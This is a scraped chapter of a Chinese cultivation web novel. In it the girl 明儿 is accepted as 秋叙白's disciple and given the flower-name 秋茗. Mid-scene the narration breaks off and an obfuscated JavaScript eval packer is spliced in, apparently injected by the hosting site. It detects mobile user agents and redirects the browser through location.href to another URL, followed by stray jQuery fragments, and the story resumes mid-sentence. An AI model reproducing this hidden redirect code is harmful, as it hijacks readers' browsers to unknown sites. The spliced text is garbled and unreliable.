3. 取名

作品:《我是合欢宗的自来卷

    一切准备好,月年衣和江溪雪领着换了一身干净衣服的明儿到了秋叙白的房间。


    明儿假装低头,眼珠却是转来转去四处看。


    叙白仙君的房间真大真干净。


    秋叙白站在桌案边,正修剪着花枝。花枝修好,他将其插入玉瓶,转身:“过来吧。”


    这副画面有点好看,不知为何,明儿突然就有些紧张了。


    “嗯?”在场三个男人的目光都落在明儿身上。


    “怎么啦?”月年衣疑惑:“小师妹怎么突然不动了?去师父那里啊。”


    他对自己多了个小师妹的事情已经接受良好。


    明儿晃晃头,迈步往秋叙白那边走。


    等小姑娘到面前,秋叙白刚要把花枝拿出,结果就听明儿问道:“我要跪下吗?”


    秋叙白动作一顿,低头看她,温声道:“不用,你要是以后想尊重师父,学一学你江师兄行个礼就好,随意些和你月师兄一样也没事。”


    说完,他将玉瓶中的花枝取出,指尖一点,花瓣凝出露珠,滴入明儿的发,消失无踪。


    “好了,拜师礼成。”秋叙白说的很平静。


    明儿:“???”


    不是,刚才发生了什么?一个重大仪式这就完成了?


    “叙白仙君,”明儿开口,颇有些不可置信:“拜师礼这样简单的吗?”


    秋叙白“唔”了一声,手中花枝又点了两下,两滴露珠落下,然后他像寻求意见般看着明儿:“这样可以吗?”


    明儿:“......”


    她甩了甩头,觉得可不可以不知道,但是自己今日应是免不了要洗头发了。


    “叙白仙君,这花凝出的露珠是有什么特殊作用吗?”明儿认真询问:“比如证明我是你的徒弟?”


    秋叙白思考了一下,摇头:“没有,只是宗门内拜师的一个传统。”


    “宗门内大家的拜师礼都是这样的吗?”明儿好奇问。


    秋叙白垂眼看她:“你想要宗门传统的那种拜师礼吗?那可能会有些麻烦。”


    “嗯......”明儿考虑了一会儿,道:“有多麻烦?您说说看?”


    “要给师父奉茶,还要听师兄师姐念拜师后的规矩,师父还要说对徒弟未来的期望,嗯......还要去见师祖,不过刚才你也听你月师兄说了,”秋叙白答得认真:“师祖闭关了,等他出关我再带你去见他。”


    这听起来也不是很麻烦吧......明儿心中想,这么重要的事情还是隆重些好,刚要说就按照传统的来。


    话还没出口,身后月年衣马上打岔道:“师妹你肯定不喜欢传统的拜师礼,因为师兄不会念拜师后的规矩!”


    明儿:“......”算了师兄不太靠谱,就这样吧。


    见明儿没再要求什么,月年衣心下松了口气,秋叙白点头道:“那就礼成,以后你可以和师兄们一样叫师父。”


    “一定要叫师父吗?”明儿的大眼睛望着秋叙白。


    “嗯......嗯?”秋叙白愣了:“你不想叫师父?那你想直接叫师父的名字?”


    明儿摇头:“我能叫师尊吗?”


    身后已经有压不住的笑声传来。


    明儿不解,只盯着秋叙白。


    秋叙白呆愣好一会儿,似乎不知道要怎么办了,好一会儿终于挤出几个字:“你高兴就好。”


    身后压着的笑声更大了。


    秋叙白无奈地往明儿身后看:“年衣,想笑就直接笑出来,别憋出内伤了。”


    明儿转头,发现连江溪雪面上都有笑意,实在是不理解:“师兄为什么要笑?”


    月年衣已经笑得猖狂,边笑边摇头,对身边的江溪雪道:“咱们这新师妹有点意思。”


    江溪雪难得赞同他。


    “师父,”江溪雪提醒:“该给新师妹取花名。”


    秋叙白恍然,像才想起来,称赞道:“还是溪雪想得周全。”


    “取花名?”明儿迷茫,又不懂了。


    “我来解释!”月年衣连忙举手。


    明儿看向他。


    “咱们寒烟宗,上至长老下至普通弟子,都要取一个花名,平时以花名相称,不称本名的哦。”


    明儿想了想,试探地问了一句:“师兄的花名是月年衣?”


    月年衣点头笑道:“对。”


    “那师兄的本名呢?”明儿又问。


    “也是月年衣。”月年衣非常自得。


    明儿眨眼:“嗯?”


    江溪雪解释:“花名也可以用本名。”


    “本名好听就可以当作花名啦,这样很有纪念意义,”月年衣道:“本名毕竟是爹娘取的嘛,如果不用本名作花名,不到百年等爹娘逝去,本名就消散了,到那时就只有花名了。”


    “不过这些也无所谓,”江溪雪道:“既然走了修仙一道,尘缘断了不是什么坏事。”


    “你江师兄的花名就不是本名,”月年衣接道。


    江溪雪点头。


    明儿又转头看秋叙白:“师尊的花名是本名吗?”


    秋叙白点头:“算是。”


    “哦,”明儿点头表示了解了:“那师尊给我取花名吧。”


    “可以,”秋叙白想了想:“你想要个什么姓氏?”


    月年衣插嘴:“师妹跟我姓月怎么样?挺好听的。”


    明儿摇头:“我可以跟师尊姓吗?”


    “哇为什么,”月年衣表示很伤心:“是月比不过秋吗?”


    江溪雪直言:“是你比不过师父。”


    月年衣:“......你说的有道理。”


    江师兄说的对,明儿心中暗想,然后道:“那我叫秋明?”


    秋叙白低着头看她:“你叫明儿,是哪一个明?”


    明儿呆了一下,回答:“我不知道。”


    “不知道?”秋叙白有些惊讶:“你不认字?”


    明儿:“对。”她认真瞧着秋叙白:“我只认得‘秋’字。”


    秋叙白回望她。


    对视片刻,秋叙白想起了件事情。


    隐约有些印象,两年前,他有事即将下山,曾经偶然遇见过这小姑娘,那时她小心翼翼地说想请教一个问题。


    给小姑娘解答一个问题的一点时间还是有的,秋叙白便没有拒绝。


    而她问的问题却是有些出乎他的意料。


    小姑娘好似有些紧张:“叙白仙君,你能不能告诉我,秋天的秋字长什么样子?”


    那时秋叙白就有些愣了。


    他没有觉得好笑,只突然反应过来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002422|161820||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,这还是个小孩子。


    最后自然写了‘秋’字给她看。


    未曾想两年过去,她竟只认得这一个字。


    这样一想,他和这小姑娘的还是有些缘分的。


    月年衣在一旁很惊讶:“我记得外门弟子有教识字的课程的?”


    “我要努力修炼,吸纳灵气,”明儿道:“没去上课。”


    月年衣倒吸一口气:“天哪。”


    “修炼先不着急,字是一定要认的,”秋叙白认真道。


    明儿抿了抿唇:“我知道了。”


    “不知道是哪一个字就随便选一个好了,”江溪雪说。


    “也是,”月年衣看了一眼秋茗,心念一动,指尖也跟着一动:“这个‘茗’怎么样?跟小师妹挺配的。就是实话实说,秋茗做花名的话有点简单了。”


    秋叙白询问明儿:“你月师兄说的这个‘茗’字你觉得怎么样?要叫秋茗吗?”


    明儿看了一眼,点头:“挺好的,简单好念,”想了想又补充了一句:“跟师尊的名字一样好听。”


    “那就叫秋茗,”秋叙白已经有些习惯了这小姑娘莫名其妙就夸奖他,面色如常道。


    拜师礼成了,花名也取了,秋叙白想着,这便是结束了吧。


    “秋茗,让两位师兄带你逛一逛寒烟山,你可以随意选一间喜欢的房间,”秋叙白低头看着秋茗。


    “师尊,”秋茗喊他。


    秋叙白问:“还有何事吗?”


    秋茗:“师尊不用给我一样可以证明身份的东西吗?就是那种,可以拿出去就知道我是叙白仙君的徒弟,很有排面。”


    上寒烟山之前,她在凡间也听过许多仙门故事,故事里的仙门弟子总是有信物的。


    “不行了,我感觉我今天要被师妹逗得笑到肚子疼了,”月年衣边笑边悄悄对江溪雪说。


    江溪雪抿唇,高冷道:“活该你的。”


    月年衣:“……你明明也想笑,别装。”


    人的悲欢并不相通,在两个徒弟偷笑时,这边秋叙白答得分外艰难:“不用......吧,”他突然被问得有些怀疑自己,是他这个师父准备的太少了?


    此时反思已是无用,秋叙白只好直接问:“秋茗你可是想要什么吗?”


    如果不是什么很难弄的东西,他也不是不能过后给她补上。就是年衣和溪雪都在后面——还在笑,他无奈地想,看来要补还得补三份。


    秋茗面上的失望一闪而过,看来故事都是骗人的。她这才意识到自己说错话,连忙摇头:“我没有想要什么。”


    秋叙白凝眉瞧着秋茗,他倒是突然想起来可以给她一样东西。


    秋叙白指尖一动,一道光芒钻进了秋茗的额头。


    秋茗摸了摸额头,好奇:“这是什么?”


    “感命印,”秋叙白淡声道:“你若有危险,师父能马上去救你。”


    好有安全感的礼物。


    秋茗愣了一下,马上道:“谢谢师尊。”


    “师尊,还有一个问题,”秋茗又道:“江师兄和月师兄哪一位是大师兄,哪一位是二师兄啊?”


    秋叙白摇头,微微笑了一下:“这个问题,师父可不敢说,你可以问问师兄们。”


    秋茗怀着许多困惑跟着两位师兄离开了。